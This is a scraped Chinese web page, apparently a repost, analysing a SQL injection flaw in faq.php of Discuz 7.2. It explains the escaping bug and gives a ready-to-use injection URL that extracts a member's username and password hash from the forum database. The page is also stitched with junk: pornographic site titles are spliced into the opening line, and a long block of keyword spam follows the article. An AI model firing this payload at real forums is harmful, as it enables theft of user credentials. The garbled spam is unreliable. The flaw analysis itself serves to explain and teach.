復制代碼 代碼如下:
http://www.jb51.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0 " /> 国产精品99久久久久久动医院,一区二区三区在线免费视频,日韩av免费网站

四虎精品视频-四虎精品成人免费网站-四虎黄色网-四虎国产视频-国产免费91-国产蜜臀97一区二区三区

Discuz7.2版的faq.php SQL注入漏洞分析

注入代碼實例:
復制代碼 代碼如下:
http://www.jb51.NET/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

復制代碼 代碼如下:
($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}

首先定義一個數組groupids,然后遍歷$gids(這也是個數組,就是$_GET[gids]),將數組中的所有值的第一位取出來放在groupids中。

為什么這個操作就造成了注入?

discuz在全局會對GET數組進行addslashes轉義,也就是說會將'轉義成/',所以,如果我們的傳入的參數是:gids[1]='的話,會被轉義成$gids[1]=/',而這個賦值語句$groupids[] = $row[0]就相當于取了字符串的第一個字符,也就是/,把轉義符號取出來了。

再看后面,在將數據放入sql語句前,他用implodeids處理了一遍。我們看到implodeids函數

很簡單一個函數,就是將剛才的$groupids數組用','分割開,組成一個類似于'1','2','3','4'的字符串返回。

但是我們的數組剛取出來一個轉義符,它會將這里一個正常的'轉義掉,比如這樣:
'1','/','3','4'
有沒有看出有點不同,第4個單引號被轉義了,也就是說第5個單引號和第3個單引號閉合。

php技術Discuz7.2版的faq.php SQL注入漏洞分析,轉載需保留來源!

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

主站蜘蛛池模板: 建设工程档案归档整理规范| 雳剑 电视剧演员表| 边缘战士| 又造句二年级上册 | 韩国一对一电影| 吻戏陈伟霆| 急招55岁左右男司机| 免+费+成人黄+色+在线观看| 天津电视台体育频道节目单| 孕妇电视剧| 猿球崛起| 叶子楣图片| porn4k| 时间空间和人第二部| 奇妙的植物世界阅读短文答案| 汤唯和梁朝伟拍戏原版视频| 舔了师兄十年| 孙兴电影| 二胡独奏我的祖国| 男按摩师给女性做私密按摩| 买下我俄罗斯完整版免费观看| 利刃出鞘剧情介绍| 乙亥北行日记| 包公决战潘金莲在线观看| 恶人想要抢救一下 漫画| 泰剧《一触即爱》| 简单的公告范文| 吻戏韩国电影| 顺风| 延边卫视节目表今天| 野孩子美剧| 高纤维食物一览表| 恋爱选举巧克力| 消防知识问答100题| 男士烫发发型图片2024款| 美妙旋律| 帕米尔的春天笛子独奏| bobo视频| 卑微的灵魂| 扭曲的欲望| 免费头像图片|